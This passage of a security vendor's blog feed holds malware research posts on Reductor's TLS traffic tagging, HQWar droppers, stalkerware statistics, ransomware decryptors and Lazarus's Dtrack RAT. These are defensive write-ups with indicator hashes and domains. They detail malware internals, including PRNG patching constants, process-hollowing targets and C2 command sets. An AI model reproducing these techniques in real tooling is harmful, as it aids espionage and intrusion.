Browsers use PRNG to generate the ‘client random’ sequence for the network packet at the very beginning of the TLS handshake. Reductor adds encrypted unique hardware- and software-based identifiers for the victims to this ‘client random’ field. In order to patch the system’s PRNG functions, the developers used a small embedded Intel instruction length disassembler.

In order to patch browser PRNG memory functions and add unique user IDs into the TLS handshake, the developers of Reductor had to analyze Firefox and Chrome code

Why we believe on-the-fly infection took place

As we don’t know what happens on the ‘server’ side, we can only rely on ‘client’ analysis. In order to distinguish handshakes of interest from all the TLS traffic, the campaign operators firstly have to decrypt this ‘client hello’ field. This means the campaign operators somehow need to have access to the target’s traffic.

The Reductor malware does not carry out a man-in-the-middle (MitM) attack itself. However, our initial thought was that the installed certificates may facilitate MitM attacks on TLS traffic; and the ‘client random’ field, with the unique ID in the handshake, would identify the traffic of interest. Later analysis provided even more basis for this idea.

We initially observed that infected installers were downloaded from HTTPS warez websites; but, as often happens, the files themselves were downloaded through unencrypted HTTP. This makes it technically possible to replace the files with malicious ones during the download process. Interestingly, the configuration data of some samples contained very popular legitimate websites. We really don’t think they were compromised to serve as control servers.

In any case, we didn´t initially know how the installers were infected, because the original downloaded files were no longer available for analysis on the warez websites. And there was always the possibility that the installers were infected on the website from which they were originally downloaded.

Then more recent Reductor telemetry gave us a clue. This time samples were again being downloaded from warez websites, but we were able to confirm that in this new case the original installers were not infected. This allowed us to confirm that Reductor’s operators have some control over the target’s network channel and could replace legitimate installers with infected ones on the fly.

Reductor features

The malware authors are creative and sometimes even seem to be having a bit of fun. For instance, one of the web domains they use for COMpfun (the publicly known name) is compfun[.]net. The domain-user-password triad hardcoded into the decryptor-dropper was “uac is useless”. Here’s a summary of the different types of campaign artifacts found:

Initial infection Escalation, detection avoidance Main payload Malware COMpfun Trojan Reductor dropper-decryptor Reductor Trojan Process One of the browsers Same browser lsass.exe Persistence COM CLSID hijacking Auxiliary module, N/A LSA notification package Net encryption AES 128 Local module, N/A AES 128 Host encryption Configuration data encrypted with one byte XOR and compressed with LZNT1 Reductor in resources encrypted with one byte XOR and compressed with LZNT1 Victims’ unique IDs in TLS ‘client hello’ encrypted using XOR with changing round key

As we have already mentioned, there are two different methods used by the attackers to spread Reductor. In the first scenario, the attackers use infected software installers with 32- and 64-bit versions of Reductor included. These installers may be for popular Internet Download Manager, Office Activator, etc.

In the second scenario, the targets are already infected with the COMpfun Trojan, which uses COM CLSID for persistence. After getting into the browser’s address space, the Trojan can receive the command to download additional modules from the C2. As a result, the target’s browser downloaded Reductor’s custom dropper-decryptor.

The coding style is quite distinctive throughout the modules. Take a look at them in the following table:

Feature Description Strings storage All the strings in use, such as function names for resolving dynamic addresses, are returned by the small functions. The developers probably implemented them using the C preprocessor #define directive. Function address dynamic resolution For every dynamic linked library in use, the developers implemented a standalone function and a custom structure to store the addresses of its functions for further use. Extensive use of custom structures The developers used custom structures for every task: C2 communication, thread synchronization, resolving of system function addresses, etc. System fingerprinting hashes inside TLS ‘client random’

As mentioned above, Reductor adds its own ‘victim id’ inside TLS packets. The first four-byte hash (cert_hash) is built using all of Reductor’s digital certificates. For each of them, the hash’s initial value is the X509 version number. Then they are sequentially XORed with all four-byte values from the serial number. All the counted hashes are XOR-ed with each other to build the final one. The operators know this value for every victim, because it’s built using their digital certificates.

The second four-byte hash (hwid_hash) is based on the target’s hardware properties: SMBIOS date and version, Video BIOS date and version and hard drive volume ID. The operators know this value for every victim because it’s used for the C2 communication protocol. The resulting custom 16-byte structure to spoof the originally PRNG-generated values looks like this:

struct client_hello_system_fingerprint { DWORD initial_xor_key; // First four bytes generated by original system PRNG function DWORD predefined_const; // Set to 0x45F2837D DWORD cert_hash; // Reductor's digital certificates hash DWORD hwid_hash // Target's hardware hash };

The latter three fields are encrypted using the first four bytes – initial PRN XOR key. At every round, the XOR key changes with the MUL 0x48C27395 MOD 0x7FFFFFFF algorithm. As a result, the bytes remain pseudo random, but with the unique host ID encrypted inside.

PRNG patching

The table below enumerates the patched auxiliary and PRNG system functions.

Library Patched function Features Auxiliary functions “ntdll.dll” RtlReleaseResource() Save auxiliary data like current thread ID and current tick count; memcpy() If “client hello” has to be copied, then count cert_hash and hwid_hash, change source bytes to encrypted client_hello_system_fingerprint structure and call original memcpy(); One of the C runtime libraries time64() Save time passed since 1 January 1970; “kernel32.dll” or “kernelbase.dll” GetSystemTimeAsFileTime() PRNG functions “nss3.dll” PK11_GenerateRandom() Call original PRNG function and generate initial XOR key from its result. Change PRNG result: set seventh byte to 1, then save 0x45F2837D, hwid and cert hashes. Encrypt the result and return it instead of the original PRN. It will affect calls to ssl3_SendClientHello() -> ssl3_GetNewRandom(ss->ssl3.hs.client_random); “advapi32.dll” CryptGenRandom() Spoof these system PRNG function results in similar way with some minor changes; “bcrypt.dll” BCryptGenRandom() “chrome.dll” PRNG function Find PRNG function by its binary code template and patch it like all the aforementioned. Firefox nss3.dll PK11_GenerateRandom() patching

Reductor patches nss3.dll for Firefox. This library’s source code is publicly available. PK11_GenerateRandom() is used in the /security/nss/lib/ssl/ssl3con.c in the ssl3_GetNewRandom() function. The SSL3_RANDOM_LENGTH constant is 32 bytes, so Reductor’s code changes all the results and the functions, which call to ssl3_GetNewRandom() will receive the modified random data with the encrypted target fingerprinting inside.

In this case, the caller function to ssl3_GetNewRandom(ss->ssl3.hs.client_random) is ssl3_SendClientHello() in order to generate the client random data for the initial communication handshake.

To affect the TLS handshake malware authors patched PK11_GenerateRandom() inside the Firefox process memory

Patching PK11_GenerateRandom() would also affect the generation of any 256-bit (32 bytes) initialization vector (IV) generation, for example, for AES 256 in ssl_SelfEncryptProtect() or other crypto functions in NSS libraries used by Firefox. From our point of view, this would be a side effect of Reductor with no additional purpose.

Installed digital certificates

Reductor samples hold DER-encoded root X509v3 certificates in the .data section to add on the target hosts. The malware is also able to get additional certificates from the operators through a named pipe.

Certificate SHA1 fingerprint CA for root cert Valid till (GMT) 119B2BE9C17D8C7C5AB0FA1A17AAF69082BAB21D ie-paypal 2031.11.17 22:56:10 546F7A565920AEB0021A1D05525FF0B3DF51D020 GeoTrust Rsa CA 2031.11.17 22:56:10 959EB6C7F45B7C5C761D5B758E65D9EF7EA20CF3 GeoTrust Rsa CA 2031.11.17 22:56:10 992BACE0BC815E43626D59D790CEF50907C6EA9B VeriSign, Inc. 2031.11.17 22:56:10

One of the decoded CA X509v3 certificates inside the Reductor malware

C2 communication

All C2 communications are handled in a standalone malware thread. Reductor sends HTTP POST queries to the /query.php scripts on the C2s listed in its configuration. The POST query contains the target’s unique hardware ID encrypted with AES 128. The C2 returns one of the following encrypted commands.

C2 command Features hostinfo Get the host name gettimeout Get the timeout value from the corresponding registry value options Parse strings and set corresponding values in the system registries. So far only one option is supported – timeout domainlist Transmit the current C2 domains used by target downfile Download the file of interest upfile Upload the file of interest execfile Create the process that executes mentioned file nop Do nothing. Possibly used to check the connection with the host kill Delete installed digital certificates, files, cookies and system registry values including those related to COM CLSID or LSA notification package persistence deletefile Delete file at a specified path certlist Renew the digital certificates installed on target Conclusions

Turla has in the past shown many innovative ways to accomplish its goals, such as using hijacked satellite infrastructure[2]. This time, if we’re right that Turla is the actor behind this new wave of attacks, then with Reductor it has implemented a very interesting way to mark a host’s encrypted TLS traffic by patching the browser without parsing network packets. The victimology for this new campaign aligns with previous Turla interests.

We didn’t observe any MitM functionality in the analyzed malware samples. However, Reductor is able to install digital certificates and mark the targets’ TLS traffic. It uses infected installers for initial infection through HTTP downloads from warez websites. The fact the original files on these sites are not infected also points to evidence of subsequent traffic manipulation.

File Hashes
  • 27CE434AD1E240075C48A51722F8E87F
  • 4E02B1B1D32E23975F496D1D1E0EB7A6
  • 518AB503808E747C5D0DDE6BFB54B95A
  • 7911F8D717DC9D7A78D99E687A12D7AD
  • 9C7E50E7CE36C1B7D8CA2AF2082F4CD5
  • A0387665FE7E006B5233C66F6BD5BB9D
  • F6CAA1BFCCA872F0CBE2E7346B006AB4
Domains and IPs
  • adstat.pw
  • bill-tat.pw

HQWar: the higher it flies, the harder it drops

2 Říjen, 2019 - 16:00

Mobile dropper Trojans are one of today’s most rapidly growing classes of malware. In Q1 2019, droppers are in the 2nd or 3rd position in terms of share of total detected threats, while holding nearly half of all Top 20 places in 2018. Since the droppers’ main task is to deliver payload while sidestepping the protective barriers, and their developers are fully bent on countering detection, this is probably one of the most dangerous classes of malware.

One of the most dangerous and widely spread families of Trojan droppers is Trojan-Dropper.AndroidOS.Hqwar. Originally created as a MaaS infrastructure, today Hqwar is used for both small-scale attacks and big ones affecting thousands of users all over the world.

The very first versions of Hqwar saw the light in early 2016, getting quite popular by the end of the same year. It peaked in Q3 2018, when substantial numbers of financial malware payloads would come “packaged” with this dropper. Yet, beginning Q4 2018, we observe its decline. The likely reason is the tool is not updated frequently enough by its author, causing a customer outflow.

Number of Hqwar detections by unique users

The very first Trojan packed with Hqwar was a piece of ransomware targeting Russian users. This is how this disgrace introduced itself to the victims, impersonating the Ministry of Internal Affairs (note that Hqwar was built by a Russian-speaking author, and many of its clients prey on Russian users):

Now one can say that only the lazy did not use Hqwar: Kaspersky’s collection of viruses features over 200,000 Trojans packed using Hqwar. When decrypting and unpacking these malicious objects, we found that almost 80% of them are financial threats, while nearly one third represent the banking Trojan family of Faketoken. In fact, it was the first ever banking Trojan whose authors began using Hqwar.

The Top 10 list of payloads most often bundled with Hqwar features such widely distributed Trojans as Asacub, Marcher and Svpeng. On several occasions, the dropper was carrying Korean bankers of the Wroba family and such famous SMS Trojans as Opfake and Fakeinst. But their authors seem to have used Hqwar just to try things out, so to speak: these “matryoshkas” did not gain much popularity. All in all, we know of 22 families of different Trojans packed with Hqwar, which shows how much interest cybercriminals take in droppers.

Family %* 1 HEUR:Trojan-Banker.AndroidOS.Faketoken 28.81% 2 HEUR:Trojan.AndroidOS.Boogr 14.53% 3 HEUR:Trojan-Banker.AndroidOS.Asacub 10.10% 4 HEUR:Trojan-Banker.AndroidOS.Marcher 8.44% 5 HEUR:Trojan-Banker.AndroidOS.Grapereh 7.67% 6 HEUR:Trojan-Spy.AndroidOS.SmsThief 7.20% 7 HEUR:Trojan-Banker.AndroidOS.Gugi 6.18% 8 HEUR:Trojan-Banker.AndroidOS.Svpeng 5.38% 9 HEUR:Trojan-Banker.AndroidOS.Agent 5.24% 10 HEUR:Trojan-Banker.AndroidOS.Palp 1.97%

* percentage of all unpacked objects

What’s inside

From the technical viewpoint, the dropper is a wrapper around the payload’s DEX file to be decrypted and loaded, comprising two classes.

Decompiled dropper with two classes

If we are to simplify and forget about obfuscation, the dropper’s workflow can be presented as follows:

  • open a file from assets;
  • decrypt it using RC4 and a hardwired key;
  • delegate control with the help of DexClas`sLoader LoadClass.

Everything the unpacked Trojan needs to operate is in the dropper’s APK file: all activity, receiver and service records are written down in the manifest, the pictures are where they should be (with unique names generated for all objects). As Hqwar doesn’t “drop” the APK file but only loads the code, there is no need for an app installation request which can potentially be declined by the user (however, this approach is not exactly good for persistency: once the dropper is deleted by the user, the Trojan is deleted, too). The main Trojan’s body is obfuscated, so the original malware cannot be recognized.

Interesting fact: for some time Hqwar had co-existed with a Trojan called Trojan-SMS.AndroidOS.Fakeinst.hq, with which it had quite a few things in common:

  • The two used similar line obfuscation methods (it might be that the authors of both had used a ready-made decryption algorithm).

A portion of line decryption code from Hqwar (left) and Fakeinst.hq (right)

  • A setup was used in which a portion of code was loaded from AES-encrypted asset files. It is worth noting that in Fakeinst.hq one of the encrypted files was an APK file, while the other one was a DEX file used to install a secondary APK (payload). This made for a triple matryoshka: the original dropper at level one, an encrypted DEX file at level two, and an encrypted APK at three. This was done to preserve infection after the dropper itself was deleted. Broadly speaking, the trick is not new, but unlike other similar occasions, Hqwar and Fakeinst.hq used encrypted files with the same extension – DAT.

Encrypted files in Fakeinst.hq

Encrypted file from Hqwar

  • In both cases, a similar certificate generation pattern was used:

Certificate from Fakeinst.hq

Certificate from Hqwar

This evidence proves nothing, of course. But it can be assumed that the author of Hqwar had begun with Russian SMS Trojans, while at the same time working on the “wrapper” infrastructure.


Hqwar owns its popularity to convenient infrastructure and pricing policy (as well as the fact that its maker is still at large and has no fear of being called to account for his actions).

Advertisement of the service

An API exists to have the malware mass-produced. It is likely used by the makers of Trojans like Faketoken, Asacub, Marcher, etc.:

The need to have a certificate for each APK file is one of the places that could give one “a foothold” in Hqwar to reconstruct the certificate generation system. Therefore, the author has made it possible to load a random certificate – either stolen or from a legitimate application.


Despite all the convenient features the dropper’s author has built into it, we believe Hqwar (and similar wrappers) may soon lose much of their popularity: their counter-detection mechanisms have become obsolete, while the structure of the APK file implies there are places that cannot be “littered”, allowing for timely detection of threats (exactly what Kaspersky’s protective solutions are for).


The State of Stalkerware in 2019

2 Říjen, 2019 - 12:00

Introduction and methodology

Six months ago, we created a special alert that notifies users about commercial spyware (stalkerware) products installed on their phones. This report examines the use of stalkerware and the number of users affected by this software in the first eight months of 2019.

Сonsumer surveillance technology has evolved rapidly in recent years and the very purpose of surveillance activity has changed dramatically. The rise of the internet and subsequent explosion in mobile device usage has led to a thriving type of surveillance software – known as stalkerware. The software allows users to spy on other people – for example, to monitor their messages, call information and GPS locations – in complete stealth. It can often be used to abuse the privacy of current or former partners and even strangers. This can be done by simply manually installing an application on the targeted victim’s smartphone or tablet. Once in place, the stalker receives access to a range of personal data, despite being remote from the victim. It differs greatly from parental control software. While parental control apps aim to restrict access to risky and inappropriate content and persistently notifies a user about its requests, stalkerware is about providing the abuser with surveillance to spy on a victim, without the consent of an individual.

The vast majority of stalkerware apps are not available on official app stores – like Google Play – and installation requires access to a dedicated website and access to the victim’s device. Those with bad intentions may use it to monitor employee emails, track children’s movements and even spy on what a partner is up to. Such uses may lead to harassment, surveillance without consent, stalking and even domestic violence. However, current laws to regulate the use of stalkerware are not yet strong enough to deter culprits from abusing and taking advantage of other people.

The data in this report has been taken from aggregated threat statistics obtained from the Kaspersky Security Network, to measure how often and how many users encountered stalkerware threats in the first eight months of 2019, compared to what was found last year. The Kaspersky Security Network is the infrastructure dedicated to processing cybersecurity-related data streams from millions of voluntary participants around the world. In this blog, we have explored why stalkerware is being used and where it is implemented most prolifically.

Main findings
  • From January to August 2019, around the world, there were more than 518,223 cases when our protection technologies either registered presence of stalkerware on users’ devices or detected an attempt to install it – a 373% increase in the same period in 2018
  • In the first eight months of 2019, 37,532 users encountered stalkerware at least once. This is a 35% increase from the same period in 2018 when 27,798 users were targeted
  • The number of users targeted by full-throttle spyware detected as Trojan-Spy reached 26,620 the first eight months of 2019, which makes it a minority compared to the number of users who encountered stalkerware
  • The Russian Federation remains the most prominent region for stalkerware globally, accounting for 25.6% of potentially affected users, in the first eight months of 2019. India is in second place with 10.6% of affected users, and Brazil is in third place (10.4%). The United States hold forth place with 7.1%
  • When it comes to Europe – Germany, Italy and the UK hold the top three places respectively
Rise of the stalkerware problem

This year has seen a sharp rise in the number of detections of stalkerware on Android devices protected by Kaspersky products. One reason for this rise could be the improvement in detecting stalkerware software through cybersecurity solutions. In April, Kaspersky launched functionality in its Android security app – Privacy Alert – that specifically alerts users if a software that can be used for stalking is found on their device. Since then, the number of detections has steadily risen. For instance, 4,315 users encountered stalkerware in March 2019, compared to 7,075 in April – a 64% increase in just one month. This figure rose to 9,251 during August, 94% higher than the month before the functionality was launched.

Fig.1 Number of users who encountered stalkerware in Jan-Aug 2019

These openly-sold consumer surveillance programs are often used for spying on colleagues, family members or partners, and are in great demand. For a relatively modest fee, sometimes as little as $7 per month, these apps stay hidden while keeping their operators informed about the device activity, such as its owner’s location, browser history, text messages, social media chats, and more. Some of them can even make video and voice recordings.

To further examine the extent of the stalkerware problem, Kaspersky has analyzed the last eight months’ worth of activity. Between January to August 2019, 37,533 users encountered stalkerware on their devices at least once. This is a 35% increase from the same period in 2018 when 27,798 users were targeted. Overall, there were 518,223 cases when Kaspersky products either registered the presence of stalkerware on users’ devices or detected an installation attempt in the period from January to August 2019 – a staggering 373% increase compared to the period in 2018.

Fig.2 Users targeted by stalkerware 2018 vs 2019

Examples of software used for stalking purposes

The most prolific stalkerware family in 2019 was identified as Monitor.AndroidOS.MobileTracker.a, which affected 6,559 unique users. In second place, Monitor.AndroidOS.Cerberus.a was detected on the devices of 4,370 users, closely followed in third place by Monitor.AndroidOS.Nidb.a (4,047).

Comparing the results from 2018, the top two differ from last year. Monitor.AndroidOS.Nidb.a and Monitor.AndroidOS.PhoneSpy.b were found most on the devices of users in 2018, reaching 4,427 and 2,819 respectively. Monitor.AndroidOS.XoloSale.a was the third most common stalkerware reaching 1,946 users.

In our internal classification system, a Monitor.AndroidOS.MobileTracker.a record is used to identify a Mobile Tracker Free application, which is positioned as a tool to track the activity of children or employees. In fact, the application allows tracking of the user’s location, their correspondence both in SMS messages and messenger applications (WhatsApp, Hangouts, Skype, Facebook Messenger, Viber, Telegram, etc.), as well as calls. A third-party can also access victims’ photos from the phone and the camera in real-time, along with their browser history, files on the device, calendar and contact list. In addition, the application provides the ability to remotely control the device. As well as all of this, there is a possibility of working in a hidden mode under the disguise of system applications.

Fig.3 Screenshots from the Mobile Tracker Free official website

The next application – Cerberus (Monitor.AndroidOS.Cerberus.a) – is positioned as an anti-theft app. However, it also allows a stalker to work in ‘hidden’ mode and to prevent its deletion. Among other things, it provides the ability to track the location of the device, take pictures from the camera and screenshots, as well as record audio from the microphone.

The third-placed Monitor.AndroidOS.Nidb.a is in fact a group of similar applications: iSpyoo/TheTruthSpy/Copy9. Unlike the previous two applications, some representatives of this group openly advertise themselves as a means of spying on a partner and even write articles about it.

Fig.4 Screenshot from the TheTruthSpy official website

The set of functions is quite standard for such programs yet still impressive – website tracing, interception of correspondence in SMS and in messenger applications, call tracing and browser history. Like many other similar applications, they require super-user rights (administration rights) to operate some functions. They can work in ‘hidden’ mode, and their names in the list of installed applications mimic the system processes.

Where is stalkerware found?

There is a global market for legal spyware and stalkerware software, as proven by the diverse range of regions where the most attacks are taking place. The top 10 countries with the largest share of users attacked with stalkerware do not have geopolitical similarities and are not in close proximity.

Fig. 5 Geography of users who encountered stalkerware in 2019

Kaspersky’s findings show that Russia is the region where stalkerware activity is peaking. Persistent activity in India has led to the country being the second most prominent region for stalkerware-related incidents from January to August, with 10.56% users affected.

Brazil accounted for 10.39% of attacked users in 2019, while the United States are now fourth (7.11%). There are advocacy groups in the country raising awareness about the dangers of stalkerware and conducting revealing user research. 72 domestic violence shelters were surveyed by National Public Radio, with 85% of domestic violence workers saying they have assisted victims whose abuser tracked them using GPS. Nearly three-quarters (71%) of domestic abusers monitor survivors’ computer activities, while 54% tracked survivors’ cell phones with stalkerware. The fifth most prevalent country in 2019 was Germany with (3.55%).

Stalkerware on the cyberthreat landscape

When comparing stalkerware and spyware to the rest of the attacks mobile users face – such as adware, riskware and malware – it takes up a big share of less targeted not-a-virus programs. In the first eight months of 2019, Kaspersky detected 2,350,862 users attacked with potentially unwanted threats and just 1.60% of them were related to stalkerware. However, unlike the majority of mass potential threats (like adware), stalkerware requires a specific stalker to act and carry out its operation. Every target is being stalked and chosen on purpose. So, while the numbers are lower, stalkerware takes a more targeted effort to affect a victim and has a disturbing figure of abuse behind each of them.

To get the big picture when assessing the stalkerware development dynamics, we’ve compared stalkerware to the full scale, illegal survelliance malware for PC that we detect as Trojan Spy. The results have proved, that while illegal spyware is in decline, stalkerware is thriving.

Fig. 6 Users attacked by stalkerware and spyware

Our analysis of the first eight months of 2019 shows that the number of users who encountered stalkerware had, in fact, surpassed the figure for Trojan-Spy attacks. While 2018 saw more than 43,000 spyware targets compared to around 28,000 stalkerware targets, in 2019 the picture changed. The number of users that encountered stalkerware grew by 35% to reach over 37,000, while spyware tools accounted for 26,620 of targets.

There has been a notable rise in the number of stalkerware-related incidents registered by Kaspersky products when compared to all threats from the figures in 2018. Between January and August last year, such software made up just 1.01% of the overall number of users who faced any kind of potentially dangerous (adware and others from not-a-virus category) software (2,740,023). It appears that stalkerware is growing in popularity, while more traditional malware attacks are less prolific than they were 12 months ago.

Conclusion and recommendations

It is clear to see that stalkerware is on the rise and becoming much more prominent in the cybersecurity landscape. In accordance with the overall number of detected riskware, adware and spyware attack fluctuations year-on-year, the percentage of stalkerware-related incidents continues to rise. It may take time to discover the role of stalkers on the cyberthreat landscape, but more incidents are now accounted for. Thanks to improved cybersecurity software, there has been a sharp rise since Kaspersky launched its own solution to notify users about stalkerware in April 2019.

There has also been a level of consistency around which countries are the most likely to experience stalkerware-related incidents, with Russia, India, the United States and Germany amongst the most prominent for the last two years.

The good news for users is that functionality and effective solutions are being put in place so they can protect themselves. Practical ways to solve the problem are coming to the fore. IT security companies and advocacy organizations working with domestic abuse victims should join forces to ensure that cybersecurity companies respond better to stalkerware. Such initiatives would help victims through technology and expertise.

We believe that every person has a right to be privacy-protected. That’s why we deliver security expertise, work closely with international organizations and law enforcement agencies to fight cybercriminals, as well as develop technologies, solutions and services that help you stay safe from the cyberthreats.

Ransomware: two pieces of good news

25 Září, 2019 - 12:00

“All your files have been encrypted.” How many times has this suddenly popped up on your screen? We hope never, because it’s one of the most common indicators that you’ve lost access to your files. And if there are no publicly available decryptors or you don’t have any backup copies, you’re in trouble.

Nowadays, cybercriminals have a thousand and one ways of creating and spreading ransomware. There are two common scenarios behind the creation of this kind of malware: in one, the criminals prefer to just reconfigure existing malicious source code; in the other, they choose to write their own ransomware, sometimes even using very specific languages.

However, don’t despair, because those fighting ransomware are not standing still either. In fact, we have two pieces of good news to share with you.

Good news #1

We’ve released a decryptor for the Yatron ransomware. The authors of the ransomware chose the first scenario mentioned above and based their ‘creation’ on the code used in Hidden Tear, a well-known sample of open-source ransomware. According to our statistics, during the last year alone our products have prevented more than 600 infections by various modifications of Trojan-Ransom.MSIL.Tear, with most attacks recorded in Germany, China, the Russian Federation, India and Myanmar.

Among the numerous modifications of Trojan-Ransom.MSIL.Tear, this one can be distinguished by the extension .Yatron that’s appended to encrypted files.

However, using third-party code without checking it raises the risk of critical vulnerabilities affecting the overall effectiveness of the program. That’s what happened here. Due to mistakes in the cryptographic scheme we were able to create a decryptor.

Good news #2

We’ve released a decryptor for the unique FortuneCrypt ransomware. To describe this malware, we could paraphrase Archimedes: give me a programming language, and I will write a ransomware program. The main feature of this ransomware is that it was compiled using a BlitzMax compiler. As Wikipedia states: “Being derived from BASIC, Blitz syntax was designed to be easy to pick up for beginners first learning to program. The languages are game-programming oriented but are often found general-purpose enough to be used for most types of application”. We’ve seen lots of ransomware written in C/C++, C#, Delphi, JS, Python, etc., but FortuneCrypt is the first ransomware we’ve seen that’s written in Blitz BASIC.

During the last year, our products registered more than 6,000 attacks carried out by the numerous variations of the malicious Trojan-Ransom.Win32.Crypren family (FortuneCrypt is part of this family). The top five countries attacked by the malware are: the Russian Federation, Brazil, Germany, South Korea and Iran.

The cryptor changes neither the file extension nor the file name; instead, it marks encrypted files by adding a text string to the beginning of an encrypted file.

The only indicator of infection visible to the victim is a ransom text that appears on the screen.

After some analysis, we found that the cryptographic scheme used by the malware is weak and the encrypted files can be easily recovered.


Both the decryptors mentioned here have been added to our RakhniDecryptor tool, which can be downloaded from the following sources:




Yatron ransomware

  • 7910B3F3A04644D12B8E656AA4934C59A4E3083A2A9C476BF752DC54192C255B


  • E2B9B48755BCA1EDFBA5140753E3AF83FB0AE724E36D8C83AB23E262196D1080
  • C26192E7B14991ED39D6586F8C88A86AF4467D5E296F75487BB62B920DEA533F
  • F2DCD2308C18FDB56A22B7DB44E60CDB9118043830E03DF02DAC34E4C4752587

Hello! My name is Dtrack

23 Září, 2019 - 12:00

Our investigation into the Dtrack RAT actually began with a different activity. In the late summer of 2018, we discovered ATMDtrack, a piece of banking malware targeting Indian banks. Further analysis showed that the malware was designed to be planted on the victim’s ATMs, where it could read and store the data of cards that were inserted into the machines. Naturally, we wanted to know more about that ATM malware, so we used YARA and Kaspersky Attribution Engine to uncover more interesting material: over 180 new malware samples of a spy tool that we now call Dtrack.

All the Dtrack samples we initially found were dropped samples, as the real payload was encrypted with various droppers — we were able to find them because of the unique sequences shared by ATMDtrack and the Dtrack memory dumps. After that, it got very interesting, because once we decrypted the final payload and used Kaspersky Attribution Engine again, we saw similarities with the DarkSeoul campaign, dating back to 2013 and attributed to the Lazarus group. It seems that they reused part of their old code to attack the financial sector and research centers in India. According to our telemetry, the last activity of DTrack was detected in the beginning of September 2019.

Technical details

The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps. Its decryption routine, part of an executable physical patch, begins somewhere between the start() and WinMain() functions. A fun fact is that the malware authors embedded their malicious code into a binary that was a harmless executable. In some cases, it was the default Visual Studio MFC project, but it could be any other program.

The decrypted overlay data contains the following artifacts:

  • an extra executable;
  • process hollowing shellcode;
  • a list of predefined executable names, which the malware uses as a future process name.

After decryption of the data, the process hollowing code is started, taking the name of the process to be hollowed as an argument. The name comes from the predefined list found within the decrypted overlay. All the names come from the %SYSTEM32% folder, as you can see in the decrypted file list below.

  • fontview.exe
  • dwwin.exe
  • wextract.exe
  • runonce.exe
  • grpconv.exe
  • msiexec.exe
  • rasautou.exe
  • rasphone.exe
  • extrac32.exe
  • mobsync.exe
  • verclsid.exe
  • ctfmon.exe
  • charmap.exe
  • write.exe
  • sethc.exe
  • control.exe
  • presentationhost.exe
  • napstat.exe
  • systray.exe
  • mstsc.exe
  • cleanmgr.exe

What is inside the dropper?

After execution, the target of the process hollowing is suspended until its memory is overwritten with the decrypted executable payload from the dropper overlay. After this, the target process resumes.

The droppers contain a variety of executables, all of these intended for spying on the victim. Below is an incomplete functionality list for the various Dtrack payload executables found:

  • keylogging,
  • retrieving browser history,
  • gathering host IP addresses, information about available networks and active connections,
  • listing all running processes,
  • listing all files on all available disk volumes.

At this point, the design philosophy of the framework becomes a bit unclear. Some of the executables pack the collected data into a password protected archive and save it to the disk, while others send the data to the C&C server directly.

Aside from the aforementioned executables, the droppers also contained a remote access Trojan (RAT). The RAT executable allows criminals to perform various operations on a host, such as uploading/downloading, executing files, etc. For a full list of operations, see the table below.

command id description 1003 upload a file to the victim’s computer 1005 make target file persistent with auto execution on the victim’s host start 1006 download a file from the victim’s computer 1007 dump all disk volume data and upload it to a host controlled by criminals 1008 dump a chosen disk volume and upload it to a host controlled by criminals 1011 dump a chosen folder and upload it to a host controlled by criminals 1018 set a new interval timeout value between new command checks 1023 exit and remove the persistence and the binary itself default execute a process on the victim’s host Dtrack and ATMDTrack malware similarities

ATMDTrack is a subset of the DTrack family. They naturally look different despite their similarities. For example, Dtrack’s payload is encrypted within a dropper—unlike the ATMDTrack samples, which were not encrypted at all. But after decrypting the Dtrack payload, it becomes clear that the developers are the same group of people: both projects have the same style and use the same implemented functions. The most obvious function they have in common is the string manipulation function. It checks if there is a CCS_ substring at the beginning of the parameter string, cuts it out and returns a modified one. Otherwise, it uses the first byte as an XOR argument and returns a decrypted string.

Functions common to the two families (the functions/arguments were named by the researchers)


When we first discovered ATMDtrack, we thought we were just looking at another ATM malware family, because we see new ATM malware families appearing on a regular base. However, this case proved once again that it is important to write proper YARA rules and have a solid working attribution engine, because this way you can uncover connections with malware families that have appeared in the past. One of the most memorable examples of this was the WannaCry attribution case. Now we can add another family to the Lazarus group’s arsenal: ATMDtrack and Dtrack.

The vast amount of Dtrack samples that we were able to find shows that the Lazarus group is one of the most active APT groups in terms of malware development. They continue to develop malware at a fast pace and expand their operations. We first saw early samples of this malware family in 2013, when it hit Seoul. Now, six years later, we see them in India, attacking financial institutions and research centers. And once again, we see that this group uses similar tools to perform both financially-motivated and pure espionage attacks.

To succeed in spying, the criminals should be able to gain at least partial control over the internal network. This means that the target organizations may have a number of security issues, such as:

  • weak network security policies,
  • weak password policies,
  • lack of traffic monitoring.

We therefore advise the companies to:

  • tighten their network and password policies,
  • use traffic monitoring software, such as Kaspersky Anti Targeted Attack Platform (KATA),
  • use antivirus solutions.
  • 8f360227e7ee415ff509c2e443370e56
  • 3a3bad366916aa3198fd1f76f3c29f24
  • F84de0a584ae7e02fb0ffe679f96db8d

Threat landscape for smart buildings

19 Září, 2019 - 08:45

The Kaspersky Industrial Cybersecurity Conference 2019 takes place this week in Sochi, the seventh such conference dedicated to the problems of industrial cybersecurity. Among other things, the conference will address the security of automation systems in buildings — industrial versions of the now common smart home. Typically, such a system consists of various sensors and controllers to manage elevators, ventilation, heating, lighting, electricity, water supply, video surveillance, alarm systems, fire extinguishing systems, etc.; it also includes servers that manage the controllers, as well as computers of engineers and dispatchers. Such automation systems are used not only in office and residential buildings, but in hospitals, shopping malls, prisons, industrial production, public transport, and other places where large work and/or living areas need to be controlled.

We decided to study the live threats to building-based automation systems and to see what malware their owners encountered in the first six months of 2019.

Malware and target systems

According to KSN, in H1 2019 Kaspersky products blocked malicious objects on 37.8% of computers in building-based automation systems (from a random sample of more than 40,000 sources).

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Share of smart building systems on which malware was blocked, 2018-2019 (download)

It should be mentioned right away that most of the blocked threats are neither targeted, nor specific to building-based automation systems. In other words, it is ordinary malware regularly found on corporate networks unrelated to automation systems. This does not mean, however, that such malware can be ignored — it has numerous side effects that can have a significant impact on the availability and integrity of automation systems, from file encryption (including databases) to denial of service on network equipment and workstations as a result of malicious traffic and unstable exploits. Spyware and backdoors (botnet agents) pose a far greater threat, since stolen authentication data and the remote control it provides can be used to plan and carry out a targeted attack on a building’s automation system.

